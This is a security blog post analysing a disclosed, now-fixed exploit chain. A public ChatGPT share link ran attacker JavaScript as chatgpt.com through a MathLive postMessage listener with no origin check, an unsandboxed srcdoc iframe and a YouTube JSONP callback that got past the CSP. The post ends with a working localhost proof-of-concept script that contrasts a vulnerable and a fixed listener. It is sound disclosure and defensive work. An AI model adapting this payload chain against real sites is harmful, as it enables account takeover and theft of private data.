Malhar Ujawane

Blog

Post·

One shared ChatGPT link took over the signed-in account

A public ChatGPT share ran attacker JS as the signed-in origin. Parameter's write-up, OpenAI's fix, and a local rebuild that shows which check stops it.

One shared ChatGPT link took over the signed-in account

A public ChatGPT share, opened by a signed-in user, ran attacker JavaScript as chatgpt.com and could read private conversations. Parameter reported it to OpenAI on October 18 and published the write-up on October 28. OpenAI fixed it on October 26 and paid a $5,000 bounty. I rebuilt the same chain on localhost so I could see which check actually stops it.

Five-step chain from a public ChatGPT share to account takeover

What it is

Parameter’s write-up walks through a chain that started with two ordinary ChatGPT features: an interactive graph (which loads MathLive for its on-screen keyboard) and an HTML Preview. Preview runs on a different origin, so the browser stops it from reading the signed-in page. That isolation held. The break was elsewhere.

MathLive installed a postMessage listener on the main ChatGPT page. Its origin validator was set to "none", so any frame that knew the message format could replace a virtual-keyboard layout with raw HTML. The HTML went into innerHTML on the real ChatGPT document. Script tags inserted that way don’t run, so the payload used an unsandboxed srcdoc iframe, which inherits the chatgpt.com origin. ChatGPT’s CSP blocked inline scripts but allowed www.youtube.com. YouTube’s oEmbed endpoint echoed a JSONP-style callback into a text/javascript response before returning its validation error. That was enough to run arbitrary code as the victim.

The victim’s only required action was opening a public /share/... link. Parameter confirmed the payload could list private conversations, fetch message content, and send data to a server they controlled. OpenAI classified the report as P1.

What I ran

I rebuilt the chain on three local servers that stand in for the app, the sandboxed preview, and an allowed host. No real ChatGPT session, no MathLive binary, no YouTube. The shape is the same: a preview origin that cannot touch the app DOM, a message listener that either checks event.origin or doesn’t, an innerHTML sink, an unsandboxed srcdoc frame, and a JSONP host that the app’s CSP allows.

node demo.mjs
http://localhost:8001/vuln.html
  app page title is now: "defaced-by-preview"
  value read by preview-origin code: "APP-ORIGIN-ONLY-9f3a" (code ran as http://localhost:8001)
http://localhost:8001/fixed.html
  app page title is now: "app"
  value read by preview-origin code: none

On the vulnerable page, the preview frame posts two messages. The listener accepts them, writes the markup into the app DOM, and the allowed-host script runs as http://localhost:8001. It reads parent.appSecret (a value only that origin can see) and rewrites the page title. On the fixed page the listener rejects any message whose event.origin is not the app’s own origin, so the title stays "app" and the secret is never read.

The full script, demo.mjs, is at the end of this post. The only change from Parameter’s chain is that I drop the network send: the proof is reading an app-origin-only value and writing the app’s DOM. That is enough to show the sandbox has failed.

The seam that matters

Preview itself was fine. Parameter says so, and my local preview is sandboxed with allow-scripts only, so it can’t touch parent.localStorage or the app DOM either. The bug is a privileged listener that trusted messages from the wrong window.

Three decisions turned that into a full exploit:

  1. The MathLive controller accepted a state-changing message without proving which frame sent it (originValidator: "none").
  2. The message format let that frame supply raw HTML as keyboard-layout data.
  3. The HTML could create an unsandboxed document that inherited chatgpt.com.

The YouTube JSONP path was a CSP workaround, not the root cause. Blocking that one endpoint would have removed one path to JavaScript while still leaving an untrusted Preview able to insert HTML into ChatGPT.

MathLive shipped the fix in 0.111.2 on October 31: virtual-keyboard messages now default to same-origin validation, and cross-window settings can no longer supply custom HTML layouts even if you turn the origin check off. I checked the published packages:

for v in 0.111.1 0.111.2; do
  npm pack "mathlive@$v" >/dev/null
  tar xzf "mathlive-$v.tgz"
  printf '%s default originValidator: ' "$v"
  grep -o 'originValidator = "[a-z-]*"' package/mathlive.mjs | head -1
done
0.111.1 default originValidator: originValidator = "none"
0.111.2 default originValidator: originValidator = "same-origin"

OpenAI’s own fix, according to Parameter, was to reject the cross-frame MathLive messages on both web frontend versions. That rolled out by October 26.

What I’d copy into my own agents

I build agent tools that preview untrusted content and that talk across frames (browser agents, MCP UIs, HTML tool results). The checklist I took from this:

  • Every postMessage receiver checks both event.origin and event.source before it acts. An origin of "none" or a wildcard is a bug.
  • Cross-window settings never carry raw HTML. Built-in layout names are fine; markup is not.
  • Dynamically created documents stay sandboxed when their content can be influenced by an untrusted frame.
  • CSP is a backup. It does not make an unsafe rendering path safe.
  • Treat every shareable surface as attacker-controlled input. A public conversation, a shared canvas, a “preview this HTML” button: same threat model.

I wrote earlier about prompt injection in AI browsers and about the Claude Code marketplace backdoor. Same class of failure: a boundary that looked solid until two features met.

Who should care

Anyone shipping a product that lets users share or preview HTML next to a signed-in session. Anyone whose agent harness renders tool output as HTML. Anyone embedding MathLive below 0.111.2 (npm still serves 0.111.1 as a reachable version; pin to >=0.111.2).

I would not treat “we sandbox the Preview” as a complete answer. Parameter’s Preview was sandboxed. The break lived in the listener next to it.

FAQ

Did OpenAI confirm private-chat access? Yes. Parameter’s timeline says OpenAI reproduced both the JavaScript execution and the private-conversation proof, raised severity from P2 to P1, and paid $5,000.

Is MathLive still the vector on ChatGPT? No. OpenAI rejected the reported messages by October 26. MathLive’s own default flipped in 0.111.2 on October 31. The lesson for other apps that embed MathLive (or any message-driven UI) still stands.

Why rebuild a toy instead of attacking ChatGPT? Because the bug is fixed in production, and because a local replica lets me flip one check and watch the chain die. That is the useful part for builders.

demo.mjs

// A sandboxed preview frame (different origin) crosses into the app and runs code as the app origin.
// No network exfiltration: the payload just proves it can read a value only the app origin can read,
// and write to the app's DOM. Three local servers stand in for app (8001), preview (8002), allowed host (8003).
import http from "node:http";
import { chromium } from "playwright-core";

const APP = "http://localhost:8001", PREVIEW = "http://127.0.0.1:8002", HOST = "http://localhost:8003";

const listener = (fixed) => `
window.addEventListener("message", (event) => {
  if (event.data?.type !== "kbd#message") return;
  ${fixed ? `if (event.origin !== location.origin) return console.log("  app rejected a " + event.data.action + " message from " + event.origin);` : ""}
  if (event.data.action === "update-setting") window.layout = event.data.markup;
  if (event.data.action === "show") document.getElementById("kbd").innerHTML = window.layout;
});`;
const appPage = (fixed) => `<!doctype html><title>app</title><div id="kbd"></div>
<iframe sandbox="allow-scripts" src="${PREVIEW}/preview.html"></iframe>
<script src="/app.js?fixed=${fixed ? 1 : 0}"></script>`;

http.createServer((req, res) => {
  const url = new URL(req.url, APP);
  if (url.pathname === "/app.js") {
    res.writeHead(200, { "content-type": "text/javascript" });
    // A value only the app origin can see. In the real bug this was the session access token.
    return res.end(`window.appSecret = "APP-ORIGIN-ONLY-9f3a";\n` + listener(url.searchParams.get("fixed") === "1"));
  }
  res.writeHead(200, { "content-type": "text/html", "content-security-policy": `script-src 'self' ${HOST}` });
  res.end(appPage(url.pathname === "/fixed.html"));
}).listen(8001);

// Preview: different origin, so it cannot touch the app DOM directly. It can still post messages.
const payload = `
  const got = parent.appSecret;                       // readable only if we run as the app origin
  parent.document.title = "defaced-by-preview";        // proves write access to the app page
  parent.postMessage({ proof: got, ranAs: origin }, "*");`;
const markup = `<iframe srcdoc="<script>alert('inline blocked by CSP')</script><script src='${HOST}/oembed?callback=${encodeURIComponent(payload + ";void")}'></script>"></iframe>`;
http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "text/html" });
  res.end(`<script>
    top.postMessage({ type: "kbd#message", action: "update-setting", markup: ${JSON.stringify(markup).replace(/</g, "\\u003c")} }, "*");
    top.postMessage({ type: "kbd#message", action: "show" }, "*");
  </script>`);
}).listen(8002);

// Allowed host: rejects a bad callback name, but echoes it into the JavaScript response first.
http.createServer((req, res) => {
  const url = new URL(req.url, HOST);
  res.writeHead(200, { "content-type": "text/javascript", "access-control-allow-origin": "*" });
  res.end(`// API callback\n${url.searchParams.get("callback")}({"error":{"code":400,"message":"Invalid JSONP callback name"}});`);
}).listen(8003);

const browser = await chromium.launch({ executablePath: "/usr/bin/google-chrome" });
for (const page of ["/vuln.html", "/fixed.html"]) {
  const tab = await browser.newPage();
  let proof = null, title0 = null;
  await tab.exposeFunction("report", (d) => { proof = d; });
  await tab.addInitScript(`window.addEventListener("message", (e) => { if (e.data && "proof" in e.data) window.report(e.data); });`);
  console.log(`${APP}${page}`);
  await tab.goto(APP + page);
  await tab.waitForTimeout(1200);
  console.log(`  app page title is now: "${await tab.title()}"`);
  console.log(`  value read by preview-origin code: ${proof ? JSON.stringify(proof.proof) + " (code ran as " + proof.ranAs + ")" : "none"}`);
  await tab.close();
}
await browser.close();
process.exit(0);

Get new posts in your inbox

© 2026 Malhar Ujawane. Built with Astro.